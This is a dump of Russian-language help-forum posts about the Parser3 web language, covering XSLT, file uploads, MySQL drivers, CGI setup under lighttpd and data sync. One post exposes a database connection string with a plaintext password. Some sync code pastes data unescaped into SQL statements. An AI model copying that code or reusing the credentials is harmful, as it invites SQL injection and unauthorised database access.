[/code]\
И вызываю метод в html-ке то не пашет, а если просто пишу.\
<script>alert('ok');</script> то работает.\
Понять не могу в чём проблема.\
А вот ешё не работает в методе \
<input type=\"submit\" onclick=\"alert(ok);\">"
"56753","Что-то нифига...\
Делаю так:\
\
[code]$file1[^file::load[text;file1.txt]]\
$un[^untaint{$file1.text}]\
^decode[$un][/code]\
\
Текст выводит в юникоде..."
"56755","где указать пароль и пользователя БД?"
"56757","Есть FK из одной таблицы на другую, имеет ли смысл получать оттуда данные одним SQL-запросом с помошью JOIN или лучше отдельным запросом выбрать hash, а средствами парсера сформировать объединение?"
"56761","[b]Вариант 1.[/b]\
В результате будут обработаны только теги, явно указанные в шаблоне, неизвестные будут удалены.\
\
[code]\
<xsl:template match=\"a | p | ...\">\
	<xsl:element name=\"{name()}\">\
		<xsl:for-each select=\"@*\">\
			<xsl:attribute name=\"{name()}\"><xsl:value-of select=\".\" /></xsl:attribute>\
		</xsl:for-each>\
		<xsl:apply-templates />\
	</xsl:element>\
</xsl:template>\
[/code]\
\
[b]Вариант 2.[/b]\
Выведет все как есть:\
[code]\
<xsl:copy-of select=\".\" />\
[/code]"
"56763","пример приведен простейший, изменение символов на основе таблицы замен.\
[code]\
$un[^untaint{$file1.text}]\
[/code]\
это не нужно"
"56765","[code]\
<xsl:template match=\"a|b|div|script|li|ul|span|title|body|html\">\
    <xsl:copy>\
        <xsl:apply-templates select=\"@*\" />\
        <xsl:apply-templates/>\
    </xsl:copy>\
</xsl:template>\
\
<xsl:template match=\"text()\">\
    <xsl:value-of select=\".\" disable-output-escaping=\"yes\"/>\
</xsl:template>\
\
<xsl:template match=\"@*|node()\">\
    <xsl:copy>\
        <xsl:apply-templates select=\"@*|node()\"/>\
    </xsl:copy>\
</xsl:template>\
[/code]"
"56769","Он по умолчанию определяет -с и умеет читать из STDIN"
"56773","Ну, в начале я писал код...\
Повторюсь... первый перебор (а) for-each, а внутри него второй перебор (б) for-each. Находясь во втором переборе, мне нужно узнать позицию из первого перебора, проще говоря ../position() , но так оно не работает...\
Есть вариант передавать параметр во второй перебор, но я уверен, что можно правильно написать xpath (с position()) и не передавать ни каких параметров...\
Вот я и стал задавать вопрос с таблицей, где нужно расскрасить все строки, а не столбцы. То что это можно сделать с помощью <tr class=\"sdf\"> - это просто выход в данном конкретном случае, а вопрос с position не решился... Ведь это может в дальнейшем понадобится ;)"
"56777","А если вот так?\
http://www.parser.ru/f/1/download/redhat/parser3_2_1_redhat73_cgi_xml%2Etar.gz"
"56779","такие трюки в xslt возможны, но не приветствуются."
"56781","допустим есть в коде строка\
[code]\
$string[\
   ^$.test[testing ok]\
   ^$.added[added ok]\
]\
[/code]\
\
как на ее основе создать хэш с помощью ^process\
что то никак у меня не получается"
"56782","[code]\
@main[]\
$string[\
   ^$.test[testing ok]\
   ^$.added[added ok]\
]\
$hash[^getStrToHash[$string]]\
$hash.added\
<br/>\
$hash.test\
\
@getStrToHash[sString]\
^process{^$_hTemp[$sString]}\
$result[$_hTemp]\
$_hTemp[]\
[/code]"
"56783","Никак не могу сделать.\
\
Имеется форма \
\
<form method=\"post\" name=\"files\" enctype=\"multipart/form-data\">\
<INPUT TYPE=\"FILE\" NAME=\"File1\">\
<INPUT TYPE=\"FILE\" NAME=\"File2\">\
...\
<INPUT TYPE=\"Submit\" NAME=\"Submit1\" VALUE=\"Сохранить\">\
</form>\
\
Нужно чтобы при нажатии на кнопку сохранить выбранные файлы сохранялись на диске под заданным именем.\
Пробовал поразному но даже етот совсем простй вариант не работает:\
\
^if(def $form:file1){ \
$f1[^file::load[binary;$form:file1]]\
^f1.save[binary;$p]\
}\
\
И еще вопрос если на странице несколько форм с разными именами например form1 form2 токак к ним обращться form.form1:элемент?"
"56784","Под фрибсд 6.1 беру парсер, он работает, но драйвер для MySQL не хочет... Брал этот драйвер от разных версий, что лежат в разделе скачать, но одно и то же. Кто сталкивался с такой проблемой и решил ее, или что подскажете?\
Заранее спасибо."
"56785","$form:file1 это уже файл, а не путь к нему\
вы же пытаетесь использовать его как строку с путем"
"56786","libparser3mysql.so под FreeBSD6.1, собранный в CVS с использованием ключа --with-dynamic-stdcpp, вот нашел сообщение http://www.parser.ru/forum/?id=53393\
Очень прошу помощи, долблюсь по всякому, уже больно . ."
"56787","Спасибо. С этим понятно но только всеравно не работает"
"56789","Да даже вот ет простейшее не работает\
\
<form method=\"post\" enctype=\"multipart/form-data\">\
<INPUT TYPE=\"FILE\" NAME=\"File1\">\
<INPUT TYPE=\"Submit\" NAME=\"Submit\" VALUE=\"Сохранить\">\
</form>\
^if(def $form:file1){\
^form:file1.save[binary;/img/1000.jpg]\
}"
"56791","Огромное спасиба. Я даже не думал что онрегистр учитывает )"
"56792","Была та же проблема когда ставил на mastrhost parser пару дней назад.  Вылечилось сменой бинарников под bsd с 41 до 61 (скачивал отсюда). Но сначала долго не мог подобрать (и самое интересное что бинарники 41 работали под 61 -)!"
"56797","[code]@main[]\
<elem attr='^taint[']'/>\
\
@postprocess[result]\
$result[^xdoc::create{<?xml version='1.0'?>\
$result\
}]\
$result[^result.string[]][/code]\
\
выдаёт ошибку:\
\
[quote]Entity: line 2: parser error : attributes construct error\
<elem attr='''/>[/quote]\
\
Замена $result на ^untaint[xml]{$result} не помогает, всё равно экранируются только html-символы. При создании xdoc в @main[] всё работает нормально.\
\
Примечание: я везде, где возможно, использую одинарные кавычки вместо двойных. Сколько клавишенажатий при этом экономится -- страшно представить.\
\
P.S. Миша, прокомментируй, пожалуйста, [url=http://www.parser.ru/forum/?id=56709]вопрос про auth[/url]."
"56799","Около 10 секунд грузится с localhost! Ужасть..."
"56800","1. перекройте @beforeInsert[]/@beforeUpdate[] и добавьте проверку уникальности email (или добавьте unique index)\
\
2. на самом деле я вообще хотел отказаться от поля login. email + password, а lonig просто информаионное поле. поэтому к email более жесткая привязка. но пока не доделал."
"56801","теперь можно такое:\
\
[code]\
1. ^eval(^file:crc32[/auto.p])[%4x]\
\
2. ^eval(^math:crc32[строка])[%4x]\
\
3. $f[^file::load[/auto.p]]\
^eval(^f.crc32[])[%4x]\
[/code]"
"56804","[code]@main[]\
$string[\
	^$hash[\
		^$.test[testing ok]\
		^$.added[added ok]\
	]\
]\
^getStrToHash[$string]\
$hash.added\
<br/>\
$hash.test\
\
@getStrToHash[str]\
$result[^process{$str}][/code]\
\
(вот только зачем?)"
"56805","Зависит от размера (в том числе потенциального) базы.\
Если не очень большая - то конечно одним запросом с JOIN.\
При правильно расставленных индексах запрос отрабатывает очень быстро."
"56806","сначала я применял формат:\
[code]\
test[test]\
added[test2]\
blabla[lablab]\
[/code]\
\
при работе с объектами их параметры доставались и с помощью матчей преобразовывались к хэшу вида:\
[code]\
$hObjectParams[\
   $.test[test]\
   $.added[test2]\
   $.blabla[lablab]\
]\
[/code]\
вложенность хэшей любой длины тоже поддерживалась\
тут где то чуть раньше описывал этот метод\
то есть можно было задавать вообще любые параметры объектам, в полях базы они четко не прописаны.\
Сейчас я все таки решил ради простоты сразу хранить парсерный код с параметрами в бд:\
[code]\
   $.test[test]\
   $.added[test2]\
   $.blabla[lablab]\
[/code]\
вот на его основе мне и нужно было создавать хэш\
достается то ведь строка\
просто несколько смутило то что нельзя сразу написать:\
[code]\
$hash[^process{\
   ^$.test[test]\
   ^$.added[test2]\
   ^$.blabla[lablab]\
}]\
[/code]\
имя хэша я хранить в базе не хочу, так как в зависимости от определенных событий код его формирует сам, поэтому сразу написать в поле бд как вы предлагаете:\
[code]\
$hash[\
   $.test[test]\
   $.added[test2]\
   $.blabla[lablab]\
]\
[/code]\
не могу\
\
ну вот в принципе все :)"
"56807","@postprocess[] выполняется в самый последний момент перед выдачей окончательного html посетителю, когда парсер выполнил все taint преобразования. \
\
т.е. то, что пришло в @postprocess[] - всегда clean.\
\
если вы напишите ^taint[xml]['], то символ ' преобразуется в &apos;, соотв. в postprocess вы сможете создать xdoc, но... читерство это %-)"
"56808","Ищу программиста в Москве. Предпочтительно на полный рабочий день. Parser или PHP + Mysql, PostgreSQL. Делать WEB.\
Вопросы обсуждаются по ICQ: 65799396, sergey|@|allright.ru"
"56809","/usr/local/www/cgi-bin/cgi.wbbs.ru/lib/libparser3mysql.so\
can't open the module\
\
\
\
=====================================\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can't open the module \
$sqldriversdir/libparser3mysql.so\
\
\
что файл этот есть, что нету, одно и то же...\
\
в чем ошибка???? все перепробывали, пользователи, права - ничего не помогает..."
"56810","ни на что недокументированное надеяться нельзя.\
нет документа = мы можем изменить на пользу обществу.\
никто не знает будущего, и что может понадобится внести."
"56811","parser принимает переменные окружения, которые ему передаёт веб-сервер, и использует их для определения, что нужно делать.\
очевидно, lighttpd передал часть переменных по-своему.\
\
попробуйте на место parser3.cgi положить такой файл:\
[code]\
#!/bin/sh\
echo content-type:text/plain\
echo\
env\
echo done\
[/code]\
когда будете закачивать, используйте TEXT mode вашего FTP клиента.\
и теперь обратитесь к _test.html, посмотрим, каков будет результат.\
если данных в переменных окружения будет достаточно, подумаем о добавлении и такого варианта запуска."
"56812","и проделайте все действия.\
результаты подробно напишите тут."
"56813","сделайте view|source... и скопируйте результат сюда.\
просьба в будущем делать это сразу."
"56814","большой разницы, лежит такое в базе данных или в файле не наблюдается.\
\
продолжая эту линию, все классы и остальное можно погрузить в базу данных.\
тогда будет едино и понятно.\
\
отщеплять конкретно это в базу — непоследовательно, по-моему.\
\
для плоских списков вполне можно положить в table(key,value).\
для hash придумать что-нибудь простое\
[code]\
$table_key[$hashname.$hashkey]\
[/code]\
и тоже свести к плоскому списку.\
\
подумаете?"
"56815","подробнее пишите.\
_test.html сколько работает?"
"56816","есть ветка с проблемой, можно участвовать в её обсуждении."
"56817","однако сами понимаете, что жизнь расставляет свои приоритеты."
"56818","просто поля объектов у меня хранятся в БД\
для каждого из них можно подключать свой код, который по сути есть файл на парсере\
\
но хочется оставить возможность разработчику отправлять с объектами коду свои [b](любые параметры, а не только жестко прописанные)[/b] иметь возможность их добавлять и использовать, не меняя структуры БД, сейчас я оставляю возможность записать в одно из полей таблицы объекта в БД псевдо хэш (то о чем шла речь выше) которые будет передан коду объекта. В принципе можно хранить и xml который потом парсить в параметры, но это имхо более ресурсо затратно и кстати поначалу я очень не хотел хранить код в бд, но пришел к мнению, а почему бы и нет?\
\
мне не хочется часть параметров объекта хранить в БД, часть хранить в файлах. Зачем?\
\
Или вы предлагаете создать таблицу в SQL вида:\
[code]\
object_id     key     value   \
[/code]\
куда писать дополнительные параметы?\
Стоят ли лишние запросы и усложнение администрирования, избавления от одного поля со строкой хэша?"
"56820","Результат:\
[code]\
GATEWAY_INTERFACE=CGI/1.1\
REMOTE_ADDR=<IP>\
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; InfoPath.1)\
DOCUMENT_ROOT=/usr/local/www/<имя_сервера>/www\
REMOTE_PORT=51410\
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\
CONTENT_LENGTH=0\
SCRIPT_FILENAME=/usr/local/www/<имя_сервера>/www/_test.html\
HTTP_HOST=<имя_сервера>\
REQUEST_URI=/_test.html\
SERVER_SOFTWARE=lighttpd/1.4.12\
HTTP_CONNECTION=Keep-Alive\
HTTP_ACCEPT_LANGUAGE=ru\
SERVER_PROTOCOL=HTTP/1.1\
HTTP_ACCEPT_ENCODING=gzip, deflate\
REDIRECT_STATUS=200\
REQUEST_METHOD=GET\
SERVER_ADDR=0.0.0.0\
SERVER_PORT=80\
SCRIPT_NAME=/_test.html\
SERVER_NAME=<имя_сервера>\
done\
[/code]"
"56822","Мне кажется это где-то в настройках inetmgr. Вот, например, PHP/ISAPI нормально, за 2 секунды и быстрее."
"56823","вышли на mryasov@inbox.ru плиз :)"
"56824","В нашей реализации движка на базе Engine v4 в базе параметры блоков хранятся в таком виде:\
\
[code]\
variable1 = value1\
variable2 = value2\
[/code]\
\
Потом обрабатываются методом:\
\
[code]\
@parseBlockParams[sParams][tParams]\
$result[^hash::create[]]\
^if(def $sParams || ^sParams.pos[=] > 0){\
	$tParams[^table::create[nameless]{^sParams.match[^^\\s*(\\w+)\\s*=\\s*([&#224;-&#255;&#192;-&#223;a-zA-Z0-9 _]+)\\s*^$][gm]{$match.1	$match.2^#0A}}]\
	^tParams.menu{\
		$result.[$tParams.1][$tParams.2]\
	}\
}\
# end @parseBlockParams[]\
[/code]"
"56825","Для справки - у меня на тестовом ноутбуке с Pentium I 233Мгц _test.html открывается менее чем за секунду..."
"56826","даже несколько функциональнее, так как можно было описывать хэши хэшей, а не только строк\
\
но также что вам мешает хранить в этом поле вместо этого синтаксиса:\
[code]\
variable1 = value1\
variable2 = value2\
[/code]\
этот синтаксис:\
[code]\
$.variable1[value1]\
$.variable2[value2]\
[/code]\
и вся обработка параметров сведется к одному ^process\
я обдумал и остановился на последнем"
"56827","...медленно. Может я что-нибудь забыл настроить?"
"56828","в том же табличном формате, например\
[code]param1	param2	param3	param4\
value1	value2	value3	value4[/code]\
и вынимать в хеш без всех этих ^match и ^process\
[code]@getObjParamsHash[params_string][table]\
$table[^table::create{^untaint{$params_string}}]\
$result[$table.fields][/code]\
тоже немного на читерство смахивает, зато самый простой вариант..."
"56829","у меня значением может быть любая информация включая знаки табуляции и переносы строк \
сл-но прощай табличный формат\
\
+ в некоторых случаях мне нужны вложенные именованные списки (хэши хэшей)"
"56831","[b]если вопрос[/b] то и несложные xml данные тоже могут быть значением, то есть не исключаю, хотя и думаю что врядли кому то понадобится передавать в параметрах xml\
\
[b]если предложение[/b] то парсить xml данные в параметры мне кажется слишком затратным и не таким уж и удобным, хотя выглядеть конечно будет красиво"
"56832","этой ошибкой забит лог - положи плиз туда че-нить в пару байт..."
"56835","давайте попробуем с консоли запустить?\
в командной строке напишите\
[code]\
C:\\Web\\Server1\\documents> c:\\parser\\parser3 _test.html\
[/code]\
так мы увидим, как parser работает без веб-сервера.\
если и так тормозит, значит тестовая машина тормозит сама по себе.\
попробуйте, когда[если] так будет тормозить, открыть task manager (просто нажать ctrl+shift+esc) и посмотреть, сколько parser3 отъедает CPU и памяти, и, если отъедает мало, кто отъедает много? [используйте сортировку по столбцам CPU и Mem Usage]."
"56836","мы часто используем xml блоки из базы as-is.\
во многих случаях их можно использовать без предварительной обработки на стадии xslt."
"56837","похоже, то, что вы описываете, суть код-начала обработки объекта.\
миша об этом много писал.\
мы тоже так делаем, только не выделяем \"начало обработки\" от \"собственно обработки\".\
\
сама идея — хранить некий код, связанный с объектом, вполне здравая и активно используемая нами.\
\
что же до \"данных\", это вопрос абсолютно философский и тут может быть миллион мнений ;)"
"56839","по сравнению с Apache и IIS явно не хватает PATH_TRANSLATED, \
вероятно, вместо него можно взять SCRIPT_FILENAME.\
переменной PATH_INFO вообще нет, т.е. сервер [b]нарушает[/b] базовую CGI спецификацию (свин).\
а в переменной SCRIPT_NAME лежит совсем не то (.html), что там лежит при запуске из-под Apache (.cgi).\
\
вывод: мы сами не сделаем, а вам посоветуем.\
\
варианты: \
1. соорудить patch для parser и прислать нам.\
2. соорудить обёртку вокруг parser на любом языке скриптования, в обёртке подправить environment, чтобы соответствовал CGI спецификации, тогда parser заработает.\
\
заготовка для 2: parser3-lighttpd.cgi\
[code]\
#!/bin/sh\
export PATH_TRANSLATED=$SCRIPT_FILENAME?$QUERY_STRING\
export PATH_INFO=$SCRIPT_NAME\
export SCRIPT_NAME=/abc\
./parser3.cgi\
[/code]"
"56841","Огромное спасибо за ответ. Опробовал второй вариант (первый, боюсь, могу не осилить) - работает, если из PATH_TRANSLATED убрать QUERY_STRING."
"56842",".. короче, крутил ее настройки и вроде тоже заработал быстрее. Может все дело было в безопасности браузера?"
"56843","Письмо от тех поддержки хостинга:\
\
Мы уже перепробовали все что только можно. Сейчас удалось собрать parser и mysql-библиотеку из исходных кодов. Результат,\
к сожалению, не очень :( Вернуть на место предидущую версию можно переименовав копии parser3.cgi.bak в parser3.cgi и\
lib/libparser3mysql.so.bak в lib/libparser3mysql.so\
\
[b]В итоге, можем предложить Вам перенести аккаунт с текущего сервера amd64 на сервер с архитектурой x86, чтобы Вы могли использовать бинарный дистрибутив с сайта разработчика.[/b]\
\
>   Сайт работает на языке Parser3 http://www.parser.ru/ . Сейчас не работает соединение с базой данных, в\
>   лог файле парсера (файл в cgi-bin директории parser3.log) запись об\
>   ошибке такая:\
>   './lib/libparser3mysql.so' can't open the module [<no type>]'\
>   Т.е. не подходит драйвер для MySQL который лежит в папке\
>   /www/cgi-bin/lib/ т.е. сам драйвер /www/cgi-bin/lib/libparser3mysql.so"
"56844","так и не сделал...\
\
пример пункт меню Документация со стрелкой, при наведении открывается содержимое папки с докой, если в папке с докой есть подкаталоги, что они тоже со стрелочкой и можно дальше развернуть...\
\
получится удобно - кладешь че надо в папку/подпапку и всегда под рукой единообразный быстрый доступ...\
\
разворачивает же венда на лету Мои Документы, например..."
"56847","скорее всего вы используете 64бит-ную libmysqlclient.so,\
и пытаетесь вызывать её из скачанного с нашего сайта бинарного файла, который скомпилирован в 32битном режиме.\
\
т.к. parser пока нельзя собрать в 64битном режиме, необходимо найти 32битную libmysqlclient.so, и наступит счастье.\
\
уверен, её легко найдёте на http://dev.mysql.com"
"56848","Если я найду libmysqlclient.so, то нужно будет положить его в cgi-bin и как-то обозначить в конфиг. auto.p чтобы именно он использовался, ведь так? \
Ведь сейчас имеющийся libmysqlclient.so лежит где-то далеко вне веб-пространства"
"56849","Теперь имеем 32 битный libmysqlclient.so.14 (закинула тех поддержка) и другую ошибку:\
\
mysql://****@[color=\"#999999\"]xx.xxx.xx.xxx[/color]/mshru\
Can't initialize character set cp1251 (path: /usr/local/share/mysql/charsets/)\
./..//../classes/m_classes/operators.p(4:2) \
--------------------------------------------------------------------------------\
connect ./..//../classes/m_classes/operators.p(4:2) \
dbconnect /home/[color=\"#999999\"]сайт[/color]/www/auto.p(74:2) \
body /home/[color=\"#999999\"]сайт[/color]/www/auto.p(8:2)\
\
Но сейчас вдруг сайт заработал, как позже узнал из письма \"перекинули каталог с кодировками в требуемое место\" т.е. как я понял те же кодировки из /cgi-bin/charsets/ перекинули в /usr/local/share/mysql/charsets/ или нет?"
"56852","Хостинг ht-systems.ru (бывший 310.ru), сервер Апач 2 с чем-то. Заливал и cgi скрипт, и exe. Всё в бинарном режиме и .htaccess.\
\
.htaccess:\
php_flag register_globals On\
DirectoryIndex index.html index.php index.wml\
AddHandler parsed-html .html\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
При пуске index.html (не содержит ни PHP ни Parser'a) выдает 404.\
При пуске _test.html - тоже.\
При пуске cgi-bin/parser3.exe или .cgi - тоже.\
\
Ни чего не понимаю."
"56853","Хостинг ht-systems.ru (бывший 310.ru), сервер Апач 2 с чем-то. Заливал и cgi скрипт, и exe. Всё в бинарном режиме, в том числе и .htaccess, и auto.p.\
\
.htaccess (работает):\
php_flag register_globals On\
DirectoryIndex index.html index.php index.wml\
AddHandler parsed-html html (пробовал .html)\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
При пуске index.html (не содержит ни PHP ни Parser'a) выдает 404.\
При пуске _test.html - тоже.\
При пуске cgi-bin/parser3.exe или .cgi - тоже.\
\
Ни чего не понимаю."
"56857","не пойму в чем проблема\
вот лог:\
[quot][Sun Nov 12 20:27:34 2006] [8022] /: /var/www/html/classes/sql.p(74:2): 'mysql://****@192.168.16.254/design?charset=cp1251_koi8' Host '192.168.16.254' is not allowed to connect to this MySQL server [sql.connect][/quot]\
Вот строка подключения к бд\
[quot]mysql://shtirliz:871218@192.168.16.254/design?charset=cp1251_koi8[/quot]\
Пути к libparser3mysql.so и libmysqlclient.so прописаны нормально. Если пытаюсь подцепиться к бд через phpmyadmin или mysql-front то все нормально, а парсер не цепляется :( в чем проблема?"
"56860","и сделайте по шагам, приведите сюда каждый шаг и данные, которые вы в этом шаге добыли."
"56861","В общем, меню навигации не создается :(, хотя код для файла sections.cfg и для auto.p я копировал из документации, а в html-странице написал ^navigation[], даже пробовал этот навигашн вставлять в auto.p не фурычит :("
"56862","http://www.parser.ru/faq/forum/"
"56863","Хотелось бы переключаться между подключениями,а не подключаться ко второй бд по мере необходимости.\
\
Задача: синхронизации данных в различных инсталляциях.\
Подскажите куда рыть плз."
"56864","Огромное спасибо! помогло."
"56865","[code]\
$oSQLFirst[^mysql::init[...]]\
$oSQLSecond[^mysql::init[...]]\
\
$tData[^oSQLFirst.table{...}]\
^oSQLSecond.void{...}\
[/code]"
"56867","Прошу меня извинить и простить за столь тупой вопрос. Пожалуйста скажите, люди добрые как сохранить изображение созданное в Парсере."
"56868","^файл.save[binary;имя файла.gif]"
"56869","Установил Denwer(в базовом комплекте есть Parser 3) воспользовавшись ссылкой с Вашего сайта, все установилось, настроилось, работать просто замечательно. Однако, когда я попробовал написать пример, описанный у вас в уроках по парсеру-ничего не вышло. Стандартный тест Денвера, через localhost выдает: \"DOCUMENT_ROOT: «кривой» или скрипт находится не в корне веб пространства (z:/home/localhost/www) Путь к скрипту: z:/home/localhost/www/test/parser3\"\
Очень хочу изучить парсер, поэтому буду очень благодарен если поможете разобраться с данной проблемой."
"56871","есть код:\
[code]\
$tmp[-23.5]\
$tmp(^tmp.double(0) + 1)\
$tmp\
[/code]\
Я ожидал от него получить -22.5\
подучаю 23\
Я невнимательно читаю мануал?\
Версия: Parser/3.2.1sp2 (compiled on i386-pc-win32)"
"56872","Ваш вариант надо исправить до:\
\
[code]\
$oSQLFirst[^mysql::init[...]]\
$oSQLSecond[^mysql::init[...]]\
\
^oSQLFirst.server{\
  $tDataFirst[^oSQLFirst.table{...}]}\
\
  ^oSQLSecond.server{\
    ^oSQLSecond.void{...}\
    $tDataSecond[^oSQLSecond.table{...}]\
  }\
\
  ^oSQLFirst.void{...}\
}\
[/code]\
\
Что получается тем же, только с прикрученными функциями.\
\
Может я конечно ошибаюсь, но я нашёл в коде класса sql.p только 1 ^connect... в @sever...\
\
^server... в классе нигде не вызывается, значит нужно его вызывать снаружи.\
\
ps: Насколько я помню класс sql.p предназначен для сбора статистики, переносимости и кеширования запросов."
"56873","В какой-то из версий стало необязательно вызывать @server, он вызывается автоматически, если у объекта, через который происходит запрос к базе данных еще не установленно соединение ($iConnectEstablished).\
\
Не нашли, вероятно потому, что искали «^server», попробуйте найти «^self.server» ;)"
"56874","Действительно, попробовал вот так:\
\
[code]\
$tmp[-23.5]\
$tmp[^math:abs{$tmp}]\
^eval($tmp + 1)\
[/code]\
\
Нормально, только число положительное получается, естественно.\
Как только добавляю минут, сразу округление до целого идет:\
\
[code]\
$tmp[-23.5]\
$tmp[^math:abs{$tmp}]\
^eval([b]-[/b]$tmp + 1)\
[/code]"
"56875","тем не менее c моей точки зрения вариант, предложенный вам Wonder-ом - правильный.\
\
да, в последних версиях sql классов не обязательно выполнять sql запросы внутри .server, соединение установится само, ведь при создании объекта была указана строка подключения. т.е. городить огород из вложенных .server нет нужды, более того в некоторых случаях они только мешаются.\
\
если бы класс sql был бы нужен только для сбора статистики и переносимости - то он нафиг был бы не нужен :)\
\
я уже забыл когда делал запросы без его помощи. он - та небольшая прослойка, которая может быть использована в случае, если от всех запросов подребуется что-то эдакое. это может быть кеширование запросов, вопросы переносимости и сбор статистики, но никто не заставляет этим пользоваться."
"56876","[code]@main[]\
$tmp(-23.6)\
$tmp<br>\
$tmp(^tmp.double(0) + 1)\
^tmp.format[%.1f] \
\
[/code]\
\
\
-24\
-22.6\
\
странное поведение..."
"56877","Есть такая форма приема платежей с карточек:\
[code]\
<FORM name=\"\" accept-charset=\"UTF-8\" action=\"go.exe\" target=\"\" method=\"post\"><DIV class=\"form-tab\"><TABLE cellspacing=\"5\" cellpadding=\"3\" border=\"0\">\
<TR>\
<TD class=\"form-field\" align=\"right\">Номер счета</TD>\
<TD><SELECT name=\"account\"><OPTION VALUE=\"666\">666</OPTION></SELECT></TD>\
</TR>\
<TR>\
<TD class=\"form-field\" align=\"right\">Номер карты</TD>\
\
<TD class=\"form-field\" align=\"left\"><INPUT type=\"text\" class=\"form-field\" size=\"40\" name=\"card_number\" value=\"\"></TD>\
</TR>\
<TR>\
<TD class=\"form-field\" align=\"right\">Пин-код</TD>\
<TD class=\"form-field\" align=\"left\"><INPUT type=\"text\" class=\"form-field\" size=\"40\" name=\"secret\" value=\"\"></TD>\
</TR>\
<INPUT type=\"hidden\" name=\"cmd\" value=\"user_replenish\"><INPUT type=\"hidden\" name=\"skey\" value=\"673d58454b5228e48e5a20591562fe2e\"><TR>\
<TD></TD>\
<TD><INPUT type=\"submit\" class=\"form-button\" value=\"OK\"></TD>\
</TR>\
</TABLE></DIV></FORM>\
[/code]\
из этой формы пытаюсь выбрать только номер счета = 666\
Делаю так:\
[code]$test[^taint[as-is][^result_table.match[(OPTION VALUE=\")(.+)(\">)][g]{$account_id[$match.2]}]] [/code]\
в result_table лежит нужная форма, в $account_id желаемый номер счета.\
в итоге на match.1 \
OPTION VALUE=\"\
 на match.2 \
[code]\
1490\">1490</OPTION></SELECT></TD> </TR> <TR> <TD class=\"form-field\" align=\"right\">Номер карты</TD> <TD class=\"form-field\" align=\"left\"><INPUT type=\"text\" class=\"form-field\" size=\"40\" name=\"card_number\" value=\"\"></TD> </TR> <TR> <TD class=\"form-field\" align=\"right\">Пин-код</TD> <TD class=\"form-field\" align=\"left\"><INPUT type=\"text\" class=\"form-field\" size=\"40\" name=\"secret\" value=\"\"></TD> </TR> <INPUT type=\"hidden\" name=\"cmd\" value=\"user_replenish\"><INPUT type=\"hidden\" name=\"skey\" value=\"673d58454b5228e48e5a20591562fe2e\"><TR> <TD></TD> <TD><INPUT type=\"submit\" class=\"form-button\" value=\"OK\
[/code]\
на match.3 \
\">\
Подсобите выцепить плиз."
"56878","(.+) подчинается правилу \"жадности\", и выбирает максимальное возможное количество символов.\
\
если в значении могут быть только цифры, то (.+) нужно заменить на (\\d+) [выбираем только цифры], если все что угодно, то на ([^^\"]+) [выбираем все кроме кавычки] или (.+?) [выключаем жадность, это самый плохой вариант]\
\
P.S. регуларное выражение должно быть как можно более строгое.\
P.P.S. предлагаю сходить и почитать про регулярные выражения, например по ссылкам из раздела [url=\"/links/\"]полезные ссылки[/url]"
"56879","=>\
\
[code]\
$tmp[-23.5]\
$tmp(^tmp.double(0) + 1)\
^tmp.format[%.2f]\
[/code]"
"56880","1. куда у вас указывает document_root\
2. куда вы положили файл _test.html"
"56881","Таких таблиц сейчас около 20 предвидится пополнение.\
Итого около 160 переподключений к БД при одной синхронизации.\
\
зы наверно приму вариант со 160 переподключениями, секунда времени погоды не делает на нескольких минутах синхронизации при хорошем канале, и около получаса на модеме :)"
"56882","Пошел простым путем: открыл документацию (урок 1, меню навигации), скопировал первый пример методом \"copy-paste\", проверил - работает.\
\
Следующим делом скопировал из второй главы (урок 2, меню навигации и структура страниц) то, чем велено заменить содержание auto.p \
Получил ошибку \"Unhandled Exception\".\
Это ошибка в документации? Что я мог сделать неправильно за 2 таких простых шага?"
"56883","2. Копипастите на здоровье, только, пожалуйста, разбирайте при этом хотя бы примерно, что значит каждая строчка кода."
"56884","[code]\
$oSQLLocal[^mysql::init[...]]\
$oSQLServer[^mysql::init[...]]\
\
$tTables[^table::create{table_name\
first_table\
second_table\
...}]\
\
$hData[^hash::create[]]\
\
^tTables.menu{\
	$hData.[$tTables.table_name][^oSQLLocal.table{SELECT * FROM $tTables.table_name}]\
}\
\
^hData.foreach[sTableName;tData]{\
	$tColumns[^tData.columns]\
	^oSQLServer.void{TRUNCATE TABLE $sTableName}\
	^oSQLServer.void{\
		INSERT INTO\
			$sTableName (\
				^tColumns.menu{$tColumns.column}[,]\
			) VALUES (\
				^tData.menu{\
					(\
						^tColumns.menu{\"$tData.[$tColumns.column]\"}[,]\
					)\
				}[,]\
			)\
	}\
}\
[/code]\
\
P.S. Не проверял. На большой базе вероятнее всего будет умирать.\
Сейчас пороюсь, может быть найду решение, которое я использовал."
"56885","[code]\
# $sTableName - имя таблицы в базе\
# $tColumns - поля\
# $tData - таблица с данными, (nameless!)\
@insertData[sTableName;tColumns;tData][fData;sData]\
^tData.save[nameless][/temp/${sTableName}.tbl][\
	$.encloser[']\
	$.separator[,]\
]\
$fData[^file::load[text;/temp/${sTableName}.tbl]]\
$sData[^fData.text.trim[]]\
$sData[(^sData.replace[^table::create[nameless]{^taint[^#0A]	^),^(}])]\
^MAIN:oSQLServer.void{\
	INSERT INTO $sTableName (^tColumns.menu{$tColumns.piece}[,])\
	VALUES ^taint[as-is][$sData]\
}\
# end @insert[]\
[/code]"
"56886","[code]@main[]\
$tmp(23.62436)\
$tmp<br>\
[/code]\
выведет 23.6244\
а\
[code]@main[]\
$tmp(-23.62436)\
$tmp<br>\
[/code]\
-24\
\
\
то, что округление происходит и там и там - понятно.\
но для положительных и отрицательных чисел - совершенно по разному"
"56887","Синхронизация данных в равнозачных БД (имено синхронизация а не резервное копирование)\
Количиство БД больше 2 (изначально это 4)\
Размер БД может составлять Гб'ты (в основном из-за файлов)\
\
Если есть готовые решения, с удовольствием изучу. Моё решение,  нанесёное на бумагу, достаточно тяжеловато, и ещё не перенесено в код."
"56888","парсер кеширует соединения. в слечае использования начального предложения Wonder-а будет сделано лишь 2 соединения: по одному к каждому серверу."
